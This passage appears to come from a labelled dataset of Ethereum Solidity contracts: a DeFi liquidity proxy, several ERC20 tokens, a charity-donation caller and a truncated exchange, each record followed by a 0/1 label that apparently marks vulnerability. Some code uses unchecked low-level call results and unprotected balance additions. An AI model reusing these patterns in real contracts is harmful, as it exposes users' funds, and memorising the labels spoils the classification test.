_generateDebt(manager, taxCollector, coinJoin, safe, deltaWad, address(this));
_provideLiquidityUniswap(coinJoin, uniswapRouter, deltaWad, liquidityWad, msg.sender, minTokenAmounts);
msg.sender.call{value: address(this).balance}("");
systemCoin.transfer(msg.sender, systemCoin.balanceOf(address(this)));
}
function openLockETHGenerateDebtProvideLiquidityStake(
address manager,
address taxCollector,
address ethJoin,
address coinJoin,
address uniswapRouter,
address incentives,
bytes32 collateralType,
uint256 deltaWad,
uint256 liquidityWad,
uint256[2] calldata minTokenAmounts
) external payable returns (uint safe) {
safe = openSAFE(manager, collateralType, address(this));
DSTokenLike systemCoin = DSTokenLike(CoinJoinLike(coinJoin).systemCoin());
_lockETH(manager, ethJoin, safe, subtract(msg.value, liquidityWad));
_generateDebt(manager, taxCollector, coinJoin, safe, deltaWad, address(this));
_provideLiquidityUniswap(coinJoin, uniswapRouter, deltaWad, liquidityWad, address(this), minTokenAmounts);
_stakeInMine(incentives);
msg.sender.call{value: address(this).balance}("");
systemCoin.transfer(msg.sender, systemCoin.balanceOf(address(this)));
}
function lockETHGenerateDebtProvideLiquidityStake(
address manager,
address taxCollector,
address ethJoin,
address coinJoin,
address uniswapRouter,
address incentives,
uint safe,
uint deltaWad,
uint liquidityWad,
uint[2] memory minTokenAmounts
) public payable {
DSTokenLike systemCoin = DSTokenLike(CoinJoinLike(coinJoin).systemCoin());
_lockETH(manager, ethJoin, safe, subtract(msg.value, liquidityWad));
_generateDebt(manager, taxCollector, coinJoin, safe, deltaWad, address(this));
_provideLiquidityUniswap(coinJoin, uniswapRouter, deltaWad, liquidityWad, address(this), minTokenAmounts);
_stakeInMine(incentives);
msg.sender.call{value: address(this).balance}("");
systemCoin.transfer(msg.sender, systemCoin.balanceOf(address(this)));
}
function provideLiquidityUniswap(address coinJoin, address uniswapRouter, uint wad, uint[2] calldata minTokenAmounts) external payable {
DSTokenLike systemCoin = DSTokenLike(CoinJoinLike(coinJoin).systemCoin());
systemCoin.transferFrom(msg.sender, address(this), wad);
_provideLiquidityUniswap(coinJoin, uniswapRouter, wad, msg.value, msg.sender, minTokenAmounts);
msg.sender.call{value: address(this).balance}("");
systemCoin.transfer(msg.sender, systemCoin.balanceOf(address(this)));
}
function provideLiquidityStake(
address coinJoin,
address uniswapRouter,
address incentives,
uint wad,
uint[2] memory minTokenAmounts
) public payable {
DSTokenLike systemCoin = DSTokenLike(CoinJoinLike(coinJoin).systemCoin());
systemCoin.transferFrom(msg.sender, address(this), wad);
_provideLiquidityUniswap(coinJoin, uniswapRouter, wad, msg.value, address(this), minTokenAmounts);
_stakeInMine(incentives);
msg.sender.call{value: address(this).balance}("");
systemCoin.transfer(msg.sender, systemCoin.balanceOf(address(this)));
}
function generateDebtAndProvideLiquidityUniswap(
address manager,
address taxCollector,
address coinJoin,
address uniswapRouter,
uint safe,
uint wad,
uint[2] calldata minTokenAmounts
) external payable {
DSTokenLike systemCoin = DSTokenLike(CoinJoinLike(coinJoin).systemCoin());
_generateDebt(manager, taxCollector, coinJoin, safe, wad, address(this));
_provideLiquidityUniswap(coinJoin, uniswapRouter, wad, msg.value, msg.sender, minTokenAmounts);
msg.sender.call{value: address(this).balance}("");
systemCoin.transfer(msg.sender, systemCoin.balanceOf(address(this)));
}
function stakeInMine(address incentives, uint wad) external {
DSTokenLike(GebIncentivesLike(incentives).stakingToken()).transferFrom(msg.sender, address(this), wad);
_stakeInMine(incentives);
}
function generateDebtAndProvideLiquidityStake(
address manager,
address taxCollector,
address coinJoin,
address uniswapRouter,
address incentives,
uint safe,
uint wad,
uint[2] calldata minTokenAmounts
) external payable {
DSTokenLike systemCoin = DSTokenLike(CoinJoinLike(coinJoin).systemCoin());
_generateDebt(manager, taxCollector, coinJoin, safe, wad, address(this));
_provideLiquidityUniswap(coinJoin, uniswapRouter, wad, msg.value, address(this), minTokenAmounts);
_stakeInMine(incentives);
msg.sender.call{value: address(this).balance}("");
systemCoin.transfer(msg.sender, systemCoin.balanceOf(address(this)));
}
function getRewards(address incentives) public {
GebIncentivesLike incentivesContract = GebIncentivesLike(incentives);
DSTokenLike rewardToken = DSTokenLike(incentivesContract.rewardsToken());
incentivesContract.getReward();
rewardToken.transfer(msg.sender, rewardToken.balanceOf(address(this)));
}
function exitMine(address incentives) external {
GebIncentivesLike incentivesContract = GebIncentivesLike(incentives);
DSTokenLike rewardToken = DSTokenLike(incentivesContract.rewardsToken());
DSTokenLike lpToken = DSTokenLike(incentivesContract.stakingToken());
incentivesContract.exit();
rewardToken.transfer(msg.sender, rewardToken.balanceOf(address(this)));
lpToken.transfer(msg.sender, lpToken.balanceOf(address(this)));
}
function migrateCampaign(address _oldIncentives, address _newIncentives) external {
GebIncentivesLike incentives = GebIncentivesLike(_oldIncentives);
GebIncentivesLike newIncentives = GebIncentivesLike(_newIncentives);
require(incentives.stakingToken() == newIncentives.stakingToken(), "geb-incentives/mismatched-staking-tokens");
DSTokenLike rewardToken = DSTokenLike(incentives.rewardsToken());
DSTokenLike lpToken = DSTokenLike(incentives.stakingToken());
incentives.exit();
_stakeInMine(_newIncentives);
rewardToken.transfer(msg.sender, rewardToken.balanceOf(address(this)));
}
function withdrawFromMine(address incentives, uint value) external {
GebIncentivesLike incentivesContract = GebIncentivesLike(incentives);
DSTokenLike lpToken = DSTokenLike(incentivesContract.stakingToken());
incentivesContract.withdraw(value);
lpToken.transfer(msg.sender, lpToken.balanceOf(address(this)));
}
function withdrawAndHarvest(address incentives, uint value) external {
GebIncentivesLike incentivesContract = GebIncentivesLike(incentives);
DSTokenLike rewardToken = DSTokenLike(incentivesContract.rewardsToken());
DSTokenLike lpToken = DSTokenLike(incentivesContract.stakingToken());
incentivesContract.withdraw(value);
getRewards(incentives);
lpToken.transfer(msg.sender, lpToken.balanceOf(address(this)));
}
function withdrawHarvestRemoveLiquidity(address incentives, address uniswapRouter, address systemCoin, uint value, uint[2] memory minTokenAmounts) public returns (uint amountA, uint amountB) {
GebIncentivesLike incentivesContract = GebIncentivesLike(incentives);
DSTokenLike rewardToken = DSTokenLike(incentivesContract.rewardsToken());
DSTokenLike lpToken = DSTokenLike(incentivesContract.stakingToken());
incentivesContract.withdraw(value);
getRewards(incentives);
rewardToken.transfer(msg.sender, rewardToken.balanceOf(address(this)));
return _removeLiquidityUniswap(uniswapRouter, systemCoin, lpToken.balanceOf(address(this)), msg.sender, minTokenAmounts);
}
function removeLiquidityUniswap(address uniswapRouter, address systemCoin, uint value, uint[2] calldata minTokenAmounts) external returns (uint amountA, uint amountB) {
DSTokenLike(getWethPair(uniswapRouter, systemCoin)).transferFrom(msg.sender, address(this), value);
return _removeLiquidityUniswap(uniswapRouter, systemCoin, value, msg.sender, minTokenAmounts);
}
function withdrawAndRemoveLiquidity(address coinJoin, address incentives, uint value, address uniswapRouter, uint[2] calldata minTokenAmounts) external returns (uint amountA, uint amountB) {
GebIncentivesLike incentivesContract = GebIncentivesLike(incentives);
incentivesContract.withdraw(value);
return _removeLiquidityUniswap(uniswapRouter, address(CoinJoinLike(coinJoin).systemCoin()), value, msg.sender, minTokenAmounts);
}
function withdrawRemoveLiquidityRepayDebt(address manager, address coinJoin, uint safe, address incentives, uint value, address uniswapRouter, uint[2] calldata minTokenAmounts) external {
GebIncentivesLike incentivesContract = GebIncentivesLike(incentives);
DSTokenLike rewardToken = DSTokenLike(incentivesContract.rewardsToken());
DSTokenLike systemCoin = DSTokenLike(CoinJoinLike(coinJoin).systemCoin());
incentivesContract.withdraw(value);
_removeLiquidityUniswap(uniswapRouter, address(systemCoin), value, address(this), minTokenAmounts);
_repayDebt(manager, coinJoin, safe, systemCoin.balanceOf(address(this)), false);
rewardToken.transfer(msg.sender, rewardToken.balanceOf(address(this)));
msg.sender.call{value: address(this).balance}("");
}
function exitAndRemoveLiquidity(address coinJoin, address incentives, address uniswapRouter, uint[2] calldata minTokenAmounts) external returns (uint amountA, uint amountB) {
GebIncentivesLike incentivesContract = GebIncentivesLike(incentives);
DSTokenLike rewardToken = DSTokenLike(incentivesContract.rewardsToken());
DSTokenLike lpToken = DSTokenLike(incentivesContract.stakingToken());
incentivesContract.exit();
rewardToken.transfer(msg.sender, rewardToken.balanceOf(address(this)));
return _removeLiquidityUniswap(uniswapRouter, address(CoinJoinLike(coinJoin).systemCoin()), lpToken.balanceOf(address(this)), msg.sender, minTokenAmounts);
}
function exitRemoveLiquidityRepayDebt(address manager, address coinJoin, uint safe, address incentives, address uniswapRouter, uint[2] calldata minTokenAmounts) external {
GebIncentivesLike incentivesContract = GebIncentivesLike(incentives);
DSTokenLike rewardToken = DSTokenLike(incentivesContract.rewardsToken());
DSTokenLike lpToken = DSTokenLike(incentivesContract.stakingToken());
DSTokenLike systemCoin = DSTokenLike(CoinJoinLike(coinJoin).systemCoin());
incentivesContract.exit();
rewardToken.transfer(msg.sender, rewardToken.balanceOf(address(this)));
_removeLiquidityUniswap(uniswapRouter, address(systemCoin), lpToken.balanceOf(address(this)), address(this), minTokenAmounts);
_repayDebt(manager, coinJoin, safe, systemCoin.balanceOf(address(this)), false);
msg.sender.call{value: address(this).balance}("");
}
function getWethPair(address uniswapRouter, address token) public view returns (address) {
IUniswapV2Router02 router = IUniswapV2Router02(uniswapRouter);
IUniswapV2Factory factory = IUniswapV2Factory(router.factory());
return factory.getPair(token, router.WETH());
}
} | 0 | 666 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Coingrid is ERC20, Ownable {
string public name;
string public symbol;
uint8 public decimals;
address public crowdsale;
bool public paused;
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
event Burn(address indexed burner, uint256 value);
uint256 totalSupply_;
modifier canMove() {
require(paused == false || msg.sender == crowdsale);
_;
}
constructor() public {
totalSupply_ = 100 * 1000000 * 1 ether;
name = "Coingrid";
symbol = "CGT";
decimals = 18;
paused = true;
balances[msg.sender] = totalSupply_;
emit Transfer(0x0, msg.sender, totalSupply_);
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public canMove returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
canMove
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function burn(uint256 _value) onlyOwner public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
function pause() onlyOwner public {
paused = true;
}
function unpause() onlyOwner public {
paused = false;
}
function setCrowdsale(address _crowdsale) onlyOwner public {
crowdsale = _crowdsale;
}
function recoverTokens(ERC20 token) onlyOwner public {
token.transfer(owner, tokensToBeReturned(token));
}
function tokensToBeReturned(ERC20 token) public view returns (uint) {
return token.balanceOf(this);
}
} | 1 | 4,821 |
pragma solidity ^0.4.18;
library SafeMath3 {
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
assert(a == 0 || c / a == b);
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
assert(c >= a);
}
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferProposed(address indexed _from, address indexed _to);
event OwnershipTransferred(address indexed _from, address indexed _to);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function Owned() public {
owner = msg.sender;
}
function transferOwnership(address _newOwner) onlyOwner public {
require(_newOwner != owner);
require(_newOwner != address(0x0));
OwnershipTransferProposed(owner, _newOwner);
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0x0);
}
}
contract ERC20Interface {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function totalSupply() constant public returns (uint);
function balanceOf(address _owner) constant public returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) constant public returns (uint remaining);
}
contract ERC20Token is ERC20Interface, Owned {
using SafeMath3 for uint;
uint public tokensIssuedTotal = 0;
mapping(address => uint) balances;
mapping(address => mapping (address => uint)) internal allowed;
function totalSupply() constant public returns (uint) {
return tokensIssuedTotal;
}
function balanceOf(address _owner) constant public returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require(balances[msg.sender] >= _value);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint remaining) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract SaintCoinToken is ERC20Token {
uint constant E6 = 10**6;
string public constant name = "Saint Coins";
string public constant symbol = "SAINT";
uint8 public constant decimals = 0;
uint public tokensPerEth = 1000;
mapping(address => bool) public grantedContracts;
address public helpCoinAddress;
event GrantedOrganization(bool isGranted);
function SaintCoinToken(address _helpCoinAddress) public {
helpCoinAddress = _helpCoinAddress;
}
function setHelpCoinAddress(address newHelpCoinWalletAddress) public onlyOwner {
helpCoinAddress = newHelpCoinWalletAddress;
}
function sendTo(address _to, uint256 _value) public {
require(isAuthorized(msg.sender));
require(balances[_to] + _value >= balances[_to]);
uint tokens = tokensPerEth.mul(_value) / 1 ether;
balances[_to] += tokens;
tokensIssuedTotal += tokens;
Transfer(msg.sender, _to, tokens);
}
function grantAccess(address _address) public onlyOwner {
grantedContracts[_address] = true;
GrantedOrganization(grantedContracts[_address]);
}
function revokeAccess(address _address) public onlyOwner {
grantedContracts[_address] = false;
GrantedOrganization(grantedContracts[_address]);
}
function isAuthorized(address _address) public constant returns (bool) {
return grantedContracts[_address];
}
}
contract CaliforniaWildfireRelief_SaintCoinCaller is Owned {
address saintCoinAddress;
address fundationWalletAddress;
uint public percentForHelpCoin = 10;
function CaliforniaWildfireRelief_SaintCoinCaller(address _saintCoinAddress, address _fundationWalletAddress) public {
require(_saintCoinAddress != address(0x0));
require(_fundationWalletAddress != address(0x0));
saintCoinAddress = _saintCoinAddress;
fundationWalletAddress = _fundationWalletAddress;
}
function setFoundationAddress(address newFoundationWalletAddress) public onlyOwner {
fundationWalletAddress = newFoundationWalletAddress;
}
function setPercentForHelpCoin(uint _percentForHelpCoin) public onlyOwner {
percentForHelpCoin = _percentForHelpCoin;
}
function () public payable {
SaintCoinToken sct = SaintCoinToken(saintCoinAddress);
sct.sendTo(msg.sender, msg.value);
fundationWalletAddress.transfer(this.balance * (100 - percentForHelpCoin) / 100);
sct.helpCoinAddress().transfer(this.balance);
}
} | 0 | 1,887 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract CryptotalksToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function CryptotalksToken() public {
symbol = "CTW";
name = "CTWorld Token";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[0x4Fd82b279C699579A58aBbB4A8ad4F97A0EDC422] = _totalSupply;
Transfer(address(0), 0x4Fd82b279C699579A58aBbB4A8ad4F97A0EDC422, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 3,266 |
pragma solidity ^0.4.19;
contract Token {
bytes32 public standard;
bytes32 public name;
bytes32 public symbol;
uint256 public totalSupply;
uint8 public decimals;
bool public allowTransactions;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
function transfer(address _to, uint256 _value) returns (bool success);
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
}
contract EthermiumAffiliates {
mapping(address => address[]) public referrals;
mapping(address => address) public affiliates;
mapping(address => bool) public admins;
string[] public affiliateList;
address public owner;
function setOwner(address newOwner);
function setAdmin(address admin, bool isAdmin) public;
function assignReferral (address affiliate, address referral) public;
function getAffiliateCount() returns (uint);
function getAffiliate(address refferal) public returns (address);
function getReferrals(address affiliate) public returns (address[]);
}
contract EthermiumTokenList {
function isTokenInList(address tokenAddress) public constant returns (bool);
}
contract Exchange {
function assert(bool assertion) {
if (!assertion) throw;
}
function safeMul(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
address public owner;
mapping (address => uint256) public invalidOrder;
event SetOwner(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner {
assert(msg.sender == owner);
_;
}
function setOwner(address newOwner) onlyOwner {
SetOwner(owner, newOwner);
owner = newOwner;
}
function getOwner() returns (address out) {
return owner;
}
function invalidateOrdersBefore(address user, uint256 nonce) onlyAdmin {
if (nonce < invalidOrder[user]) throw;
invalidOrder[user] = nonce;
}
mapping (address => mapping (address => uint256)) public tokens;
mapping (address => bool) public admins;
mapping (address => uint256) public lastActiveTransaction;
mapping (bytes32 => uint256) public orderFills;
address public feeAccount;
uint256 public feeAffiliate;
uint256 public inactivityReleasePeriod;
mapping (bytes32 => bool) public traded;
mapping (bytes32 => bool) public withdrawn;
uint256 public makerFee;
uint256 public takerFee;
uint256 public affiliateFee;
uint256 public makerAffiliateFee;
uint256 public takerAffiliateFee;
mapping (address => address) public referrer;
address public affiliateContract;
address public tokenListContract;
enum Errors {
INVLID_PRICE,
INVLID_SIGNATURE,
TOKENS_DONT_MATCH,
ORDER_ALREADY_FILLED,
GAS_TOO_HIGH
}
event Trade(
address takerTokenBuy, uint256 takerAmountBuy,
address takerTokenSell, uint256 takerAmountSell,
address maker, address indexed taker,
uint256 makerFee, uint256 takerFee,
uint256 makerAmountTaken, uint256 takerAmountTaken,
bytes32 indexed makerOrderHash, bytes32 indexed takerOrderHash
);
event Deposit(address indexed token, address indexed user, uint256 amount, uint256 balance, address indexed referrerAddress);
event Withdraw(address indexed token, address indexed user, uint256 amount, uint256 balance, uint256 withdrawFee);
event FeeChange(uint256 indexed makerFee, uint256 indexed takerFee, uint256 indexed affiliateFee);
event LogError(uint8 indexed errorId, bytes32 indexed makerOrderHash, bytes32 indexed takerOrderHash);
event CancelOrder(
bytes32 indexed cancelHash,
bytes32 indexed orderHash,
address indexed user,
address tokenSell,
uint256 amountSell,
uint256 cancelFee
);
function setInactivityReleasePeriod(uint256 expiry) onlyAdmin returns (bool success) {
if (expiry > 1000000) throw;
inactivityReleasePeriod = expiry;
return true;
}
function Exchange(address feeAccount_, uint256 makerFee_, uint256 takerFee_, uint256 affiliateFee_, address affiliateContract_, address tokenListContract_) {
owner = msg.sender;
feeAccount = feeAccount_;
inactivityReleasePeriod = 100000;
makerFee = makerFee_;
takerFee = takerFee_;
affiliateFee = affiliateFee_;
makerAffiliateFee = safeMul(makerFee, affiliateFee_) / (1 ether);
takerAffiliateFee = safeMul(takerFee, affiliateFee_) / (1 ether);
affiliateContract = affiliateContract_;
tokenListContract = tokenListContract_;
}
function setFees(uint256 makerFee_, uint256 takerFee_, uint256 affiliateFee_) onlyOwner {
require(makerFee_ < 10 finney && takerFee_ < 10 finney);
require(affiliateFee_ > affiliateFee);
makerFee = makerFee_;
takerFee = takerFee_;
affiliateFee = affiliateFee_;
makerAffiliateFee = safeMul(makerFee, affiliateFee_) / (1 ether);
takerAffiliateFee = safeMul(takerFee, affiliateFee_) / (1 ether);
FeeChange(makerFee, takerFee, affiliateFee_);
}
function setAdmin(address admin, bool isAdmin) onlyOwner {
admins[admin] = isAdmin;
}
modifier onlyAdmin {
if (msg.sender != owner && !admins[msg.sender]) throw;
_;
}
function() external {
throw;
}
function depositToken(address token, uint256 amount, address referrerAddress) {
if (referrerAddress == msg.sender) referrerAddress = address(0);
if (referrer[msg.sender] == address(0x0)) {
if (referrerAddress != address(0x0) && EthermiumAffiliates(affiliateContract).getAffiliate(msg.sender) == address(0))
{
referrer[msg.sender] = referrerAddress;
EthermiumAffiliates(affiliateContract).assignReferral(referrerAddress, msg.sender);
}
else
{
referrer[msg.sender] = EthermiumAffiliates(affiliateContract).getAffiliate(msg.sender);
}
}
tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount);
lastActiveTransaction[msg.sender] = block.number;
if (!Token(token).transferFrom(msg.sender, this, amount)) throw;
Deposit(token, msg.sender, amount, tokens[token][msg.sender], referrer[msg.sender]);
}
function deposit(address referrerAddress) payable {
if (referrerAddress == msg.sender) referrerAddress = address(0);
if (referrer[msg.sender] == address(0x0)) {
if (referrerAddress != address(0x0) && EthermiumAffiliates(affiliateContract).getAffiliate(msg.sender) == address(0))
{
referrer[msg.sender] = referrerAddress;
EthermiumAffiliates(affiliateContract).assignReferral(referrerAddress, msg.sender);
}
else
{
referrer[msg.sender] = EthermiumAffiliates(affiliateContract).getAffiliate(msg.sender);
}
}
tokens[address(0)][msg.sender] = safeAdd(tokens[address(0)][msg.sender], msg.value);
lastActiveTransaction[msg.sender] = block.number;
Deposit(address(0), msg.sender, msg.value, tokens[address(0)][msg.sender], referrer[msg.sender]);
}
function withdraw(address token, uint256 amount) returns (bool success) {
if (safeSub(block.number, lastActiveTransaction[msg.sender]) < inactivityReleasePeriod) throw;
if (tokens[token][msg.sender] < amount) throw;
tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount);
if (token == address(0)) {
if (!msg.sender.send(amount)) throw;
} else {
if (!Token(token).transfer(msg.sender, amount)) throw;
}
Withdraw(token, msg.sender, amount, tokens[token][msg.sender], 0);
}
function adminWithdraw(address token, uint256 amount, address user, uint256 nonce, uint8 v, bytes32 r, bytes32 s, uint256 feeWithdrawal) onlyAdmin returns (bool success) {
bytes32 hash = keccak256(this, token, amount, user, nonce);
if (withdrawn[hash]) throw;
withdrawn[hash] = true;
if (ecrecover(keccak256("\x19Ethereum Signed Message:\n32", hash), v, r, s) != user) throw;
if (feeWithdrawal > 50 finney) feeWithdrawal = 50 finney;
if (tokens[token][user] < amount) throw;
tokens[token][user] = safeSub(tokens[token][user], amount);
tokens[address(0)][user] = safeSub(tokens[address(0x0)][user], feeWithdrawal);
tokens[address(0)][feeAccount] = safeAdd(tokens[address(0)][feeAccount], feeWithdrawal);
if (token == address(0)) {
if (!user.send(amount)) throw;
} else {
if (!Token(token).transfer(user, amount)) throw;
}
lastActiveTransaction[user] = block.number;
Withdraw(token, user, amount, tokens[token][user], feeWithdrawal);
}
function balanceOf(address token, address user) constant returns (uint256) {
return tokens[token][user];
}
struct OrderPair {
uint256 makerAmountBuy;
uint256 makerAmountSell;
uint256 makerNonce;
uint256 takerAmountBuy;
uint256 takerAmountSell;
uint256 takerNonce;
uint256 takerGasFee;
address makerTokenBuy;
address makerTokenSell;
address maker;
address takerTokenBuy;
address takerTokenSell;
address taker;
bytes32 makerOrderHash;
bytes32 takerOrderHash;
}
struct TradeValues {
uint256 qty;
uint256 invQty;
uint256 makerAmountTaken;
uint256 takerAmountTaken;
address makerReferrer;
address takerReferrer;
}
function trade(
uint8[2] v,
bytes32[4] rs,
uint256[7] tradeValues,
address[6] tradeAddresses
) onlyAdmin returns (uint filledTakerTokenAmount)
{
OrderPair memory t = OrderPair({
makerAmountBuy : tradeValues[0],
makerAmountSell : tradeValues[1],
makerNonce : tradeValues[2],
takerAmountBuy : tradeValues[3],
takerAmountSell : tradeValues[4],
takerNonce : tradeValues[5],
takerGasFee : tradeValues[6],
makerTokenBuy : tradeAddresses[0],
makerTokenSell : tradeAddresses[1],
maker : tradeAddresses[2],
takerTokenBuy : tradeAddresses[3],
takerTokenSell : tradeAddresses[4],
taker : tradeAddresses[5],
